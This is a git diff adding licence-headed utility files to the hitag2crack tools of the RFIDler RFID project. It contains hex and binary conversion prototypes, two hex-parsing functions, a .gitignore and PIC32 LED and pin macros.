* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
#define CRC16_MASK_CCITT 0x1021 // CRC-CCITT mask (ISO 3309, used in X25, HDLC)
|
||||
#define CRC16_MASK_ISO_11785 0x8408 // ISO 11785 animal tags
|
||||
#define CRC16_MASK_CRC16 0xA001 // standard CRC16 mask (used in ARC files)
|
||||
|
||||
/*
|
||||
* Hitag Crypto support macros
|
||||
* These macros reverse the bit order in a byte, or *within* each byte of a
|
||||
* 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)
|
||||
*/
|
||||
#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \
|
||||
+ (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \
|
||||
+ (((X) << 5) &64) + (((X) << 7) &128) )
|
||||
#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8))
|
||||
#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16))
|
||||
#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32))
|
||||
|
||||
|
||||
BYTE approx(unsigned long number, unsigned long target, unsigned char percentage);
|
||||
unsigned int bcdtouint(BYTE *bcd, BYTE length);
|
||||
unsigned long long bcdtoulonglong(BYTE *bcd, BYTE length);
|
||||
void inttobinarray(BYTE *target, unsigned int source, unsigned int bits);
|
||||
void ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits);
|
||||
void ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits);
|
||||
void inttobinstring(BYTE *target, unsigned int source, unsigned int bits);
|
||||
void ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits);
|
||||
BOOL ulongtohex(BYTE *target, unsigned long source);
|
||||
unsigned int binarraytoint(BYTE *bin, BYTE length);
|
||||
unsigned long long binarraytolonglong(BYTE *bin, BYTE length);
|
||||
unsigned long binarraytoulong(BYTE *bin, BYTE length);
|
||||
BYTE hextobyte(BYTE *hex);
|
||||
void printhexreadable(BYTE *hex, BYTE maxlength);
|
||||
unsigned long hextoulong(BYTE *hex);
|
||||
unsigned long hexreversetoulong(BYTE *hex);
|
||||
unsigned long long hextoulonglong(BYTE *hex);
|
||||
unsigned long long hexreversetoulonglong(BYTE *hex);
|
||||
char hextolonglong(unsigned long long *out, unsigned char *hex);
|
||||
unsigned int hextobinarray(unsigned char *target, unsigned char *source);
|
||||
unsigned int hextobinstring(unsigned char *target, unsigned char *source);
|
||||
unsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length);
|
||||
void hexprintbinarray(BYTE *bin, unsigned int length);
|
||||
unsigned int binstringtohex(unsigned char *target, unsigned char *source);
|
||||
unsigned int binstringtobinarray(BYTE *target, BYTE *source);
|
||||
void binstringtobyte(BYTE *target, unsigned char *source, BYTE length);
|
||||
void binarraytobinstring(BYTE *target, BYTE *source, unsigned int length);
|
||||
void printhexasbin(unsigned char *hex);
|
||||
void printbinashex(unsigned char *bin);
|
||||
void invertbinarray(BYTE *target, BYTE *source, unsigned int length);
|
||||
void invertbinstring(BYTE *target, BYTE *source);
|
||||
void printbinarray(unsigned char *bin, unsigned int length);
|
||||
unsigned char getbit(unsigned char byte, unsigned char bit);
|
||||
void bytestohex(unsigned char *target, unsigned char *source, unsigned int length);
|
||||
unsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length);
|
||||
unsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length);
|
||||
char * strip_newline(char *buff);
|
||||
BOOL command_ack(BOOL data);
|
||||
BOOL command_nack(BYTE *reason);
|
||||
BOOL command_unknown(void);
|
||||
void ToUpper(char *string);
|
||||
void string_reverse(unsigned char *string, unsigned int length);
|
||||
BOOL string_byteswap(unsigned char *string, unsigned int length);
|
||||
BYTE parity(unsigned char *string, BYTE type, unsigned int length);
|
||||
unsigned long get_reader_pulse(unsigned int timeout_us);
|
||||
unsigned long get_reader_gap(unsigned int timeout_us);
|
||||
unsigned int crc_ccitt(BYTE *data, unsigned int length);
|
||||
unsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask);
|
||||
void space_indent(BYTE count);
|
||||
void xml_version(void);
|
||||
void xml_header(BYTE *item, BYTE *indent);
|
||||
void xml_footer(BYTE *item, BYTE *indent, BOOL newline);
|
||||
void xml_indented_text(BYTE *data, BYTE indent);
|
||||
void xml_item_text(BYTE *item, BYTE *data, BYTE *indent);
|
||||
void xml_item_decimal(BYTE *item, BYTE num, BYTE *indent);
|
||||
void xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent);
|
||||
void xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent);
|
||||
|
183
tools/hitag2crack/crack2/utilpart.c
Normal file
183
tools/hitag2crack/crack2/utilpart.c
Normal file
|
@ -0,0 +1,183 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include "HardwareProfile.h"
|
||||
#include "util.h"
|
||||
#include "rfidler.h"
|
||||
//#include "comms.h"
|
||||
|
||||
// rtc
|
||||
rtccTime RTC_time; // time structure
|
||||
rtccDate RTC_date; // date structure
|
||||
|
||||
// convert byte-reversed 8 digit hex to unsigned long
|
||||
unsigned long hexreversetoulong(BYTE *hex)
|
||||
{
|
||||
unsigned long ret= 0L;
|
||||
unsigned int x;
|
||||
BYTE i;
|
||||
|
||||
if(strlen(hex) != 8)
|
||||
return 0L;
|
||||
|
||||
for(i= 0 ; i < 4 ; ++i)
|
||||
{
|
||||
if(sscanf(hex, "%2X", &x) != 1)
|
||||
return 0L;
|
||||
ret += ((unsigned long) x) << i * 8;
|
||||
hex += 2;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
// convert byte-reversed 12 digit hex to unsigned long
|
||||
unsigned long long hexreversetoulonglong(BYTE *hex)
|
||||
{
|
||||
unsigned long long ret= 0LL;
|
||||
BYTE tmp[9];
|
||||
|
||||
// this may seem an odd way to do it, but weird compiler issues were
|
||||
// breaking direct conversion!
|
||||
|
||||
tmp[8]= '\0';
|
||||
memset(tmp + 4, '0', 4);
|
||||
memcpy(tmp, hex + 8, 4);
|
||||
ret= hexreversetoulong(tmp);
|
||||
ret <<= 32;
|
||||
memcpy(tmp, hex, 8);
|
||||
ret += hexreversetoulong(tmp);
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
6
tools/hitag2crack/crack3/.gitignore
vendored
Normal file
6
tools/hitag2crack/crack3/.gitignore
vendored
Normal file
|
@ -0,0 +1,6 @@
|
|||
ht2crack3
|
||||
ht2test
|
||||
|
||||
ht2crack3.exe
|
||||
ht2test.exe
|
||||
|
524
tools/hitag2crack/crack3/HardwareProfile.h
Normal file
524
tools/hitag2crack/crack3/HardwareProfile.h
Normal file
|
@ -0,0 +1,524 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
|
||||
|
||||
#ifndef HARDWARE_PROFILE_UBW32_H
|
||||
#define HARDWARE_PROFILE_UBW32_H
|
||||
|
||||
//#include "plib.h"
|
||||
typedef char BOOL;
|
||||
typedef char BYTE;
|
||||
typedef int rtccTime;
|
||||
typedef int rtccDate;
|
||||
|
||||
|
||||
#ifndef __PIC32MX__
|
||||
#define __PIC32MX__
|
||||
#endif
|
||||
|
||||
#define GetSystemClock() (80000000ul)
|
||||
#define GetPeripheralClock() (GetSystemClock())
|
||||
#define GetInstructionClock() (GetSystemClock())
|
||||
|
||||
//#define USE_SELF_POWER_SENSE_IO
|
||||
#define tris_self_power TRISAbits.TRISA2 // Input
|
||||
#define self_power 1
|
||||
|
||||
//#define USE_USB_BUS_SENSE_IO
|
||||
#define tris_usb_bus_sense TRISBbits.TRISB5 // Input
|
||||
#define USB_BUS_SENSE 1
|
||||
|
||||
// LEDs
|
||||
#define mLED_1 LATEbits.LATE3
|
||||
|
||||
#define mLED_2 LATEbits.LATE2
|
||||
#define mLED_Comms mLED_2
|
||||
|
||||
#define mLED_3 LATEbits.LATE1
|
||||
#define mLED_Clock mLED_3
|
||||
|
||||
#define mLED_4 LATEbits.LATE0
|
||||
#define mLED_Emulate mLED_4
|
||||
|
||||
#define mLED_5 LATGbits.LATG6
|
||||
#define mLED_Read mLED_5
|
||||
|
||||
#define mLED_6 LATAbits.LATA15
|
||||
#define mLED_User mLED_6
|
||||
|
||||
#define mLED_7 LATDbits.LATD11
|
||||
#define mLED_Error mLED_7
|
||||
|
||||
// active low
|
||||
#define mLED_ON 0
|
||||
#define mLED_OFF 1
|
||||
|
||||
#define mGetLED_1() mLED_1
|
||||
#define mGetLED_USB() mLED_1
|
||||
#define mGetLED_2() mLED_2
|
||||
#define mGetLED_Comms() mLED_2
|
||||
#define mGetLED_3() mLED_3
|
||||
#define mGetLED_Clock() mLED_3
|
||||
#define mGetLED_4() mLED_4
|
||||
#define mGetLED_Emulate() mLED_4
|
||||
#define mGetLED_5() mLED_5
|
||||
#define mGetLED_Read() mLED_5
|
||||
#define mGetLED_6() mLED_6
|
||||
#define mGetLED_User() mLED_6
|
||||
#define mGetLED_7() mLED_7
|
||||
#define mGetLED_Error() mLED_7
|
||||
|
||||
#define mLED_1_On() mLED_1 = mLED_ON
|
||||
#define mLED_USB_On() mLED_1_On()
|
||||
#define mLED_2_On() mLED_2 = mLED_ON
|
||||
#define mLED_Comms_On() mLED_2_On()
|
||||
#define mLED_3_On() mLED_3 = mLED_ON
|
||||
#define mLED_Clock_On() mLED_3_On()
|
||||
#define mLED_4_On() mLED_4 = mLED_ON
|
||||
#define mLED_Emulate_On() mLED_4_On()
|
||||
#define mLED_5_On() mLED_5 = mLED_ON
|
||||
#define mLED_Read_On() mLED_5_On()
|
||||
#define mLED_6_On() mLED_6 = mLED_ON
|
||||
#define mLED_User_On() mLED_6_On()
|
||||
#define mLED_7_On() mLED_7 = mLED_ON
|
||||
#define mLED_Error_On() mLED_7_On()
|
||||
|
||||
#define mLED_1_Off() mLED_1 = mLED_OFF
|
||||
#define mLED_USB_Off() mLED_1_Off()
|
||||
#define mLED_2_Off() mLED_2 = mLED_OFF
|
||||
#define mLED_Comms_Off() mLED_2_Off()
|
||||
#define mLED_3_Off() mLED_3 = mLED_OFF
|
||||
#define mLED_Clock_Off() mLED_3_Off()
|
||||
#define mLED_4_Off() mLED_4 = mLED_OFF
|
||||
#define mLED_Emulate_Off() mLED_4_Off()
|
||||
#define mLED_5_Off() mLED_5 = mLED_OFF
|
||||
#define mLED_Read_Off() mLED_5_Off()
|
||||
#define mLED_6_Off() mLED_6 = mLED_OFF
|
||||
#define mLED_User_Off() mLED_6_Off()
|
||||
#define mLED_7_Off() mLED_7 = mLED_OFF
|
||||
#define mLED_Error_Off() mLED_7_Off()
|
||||
|
||||
#define mLED_1_Toggle() mLED_1 = !mLED_1
|
||||
#define mLED_USB_Toggle() mLED_1_Toggle()
|
||||
#define mLED_2_Toggle() mLED_2 = !mLED_2
|
||||
#define mLED_Comms_Toggle() mLED_2_Toggle()
|
||||
#define mLED_3_Toggle() mLED_3 = !mLED_3
|
||||
#define mLED_Clock_Toggle() mLED_3_Toggle()
|
||||
#define mLED_4_Toggle() mLED_4 = !mLED_4
|
||||
#define mLED_Emulate_Toggle() mLED_4_Toggle()
|
||||
#define mLED_5_Toggle() mLED_5 = !mLED_5
|
||||
#define mLED_Read_Toggle( ) mLED_5_Toggle()
|
||||
#define mLED_6_Toggle() mLED_6 = !mLED_6
|
||||
#define mLED_User_Toggle() mLED_6_Toggle()
|
||||
#define mLED_7_Toggle() mLED_7 = !mLED_7
|
||||
#define mLED_Error_Toggle() mLED_7_Toggle()
|
||||
|
||||
#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); }
|
||||
#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }
|
||||
|
||||
// usb status lights
|
||||
#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();}
|
||||
#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();}
|
||||
#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();}
|
||||
#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();}
|
||||
|
||||
/** SWITCH *********************************************************/
|
||||
#define swBootloader PORTEbits.RE7
|
||||
#define swUser PORTEbits.RE6
|
||||
|
||||
/** I/O pin definitions ********************************************/
|
||||
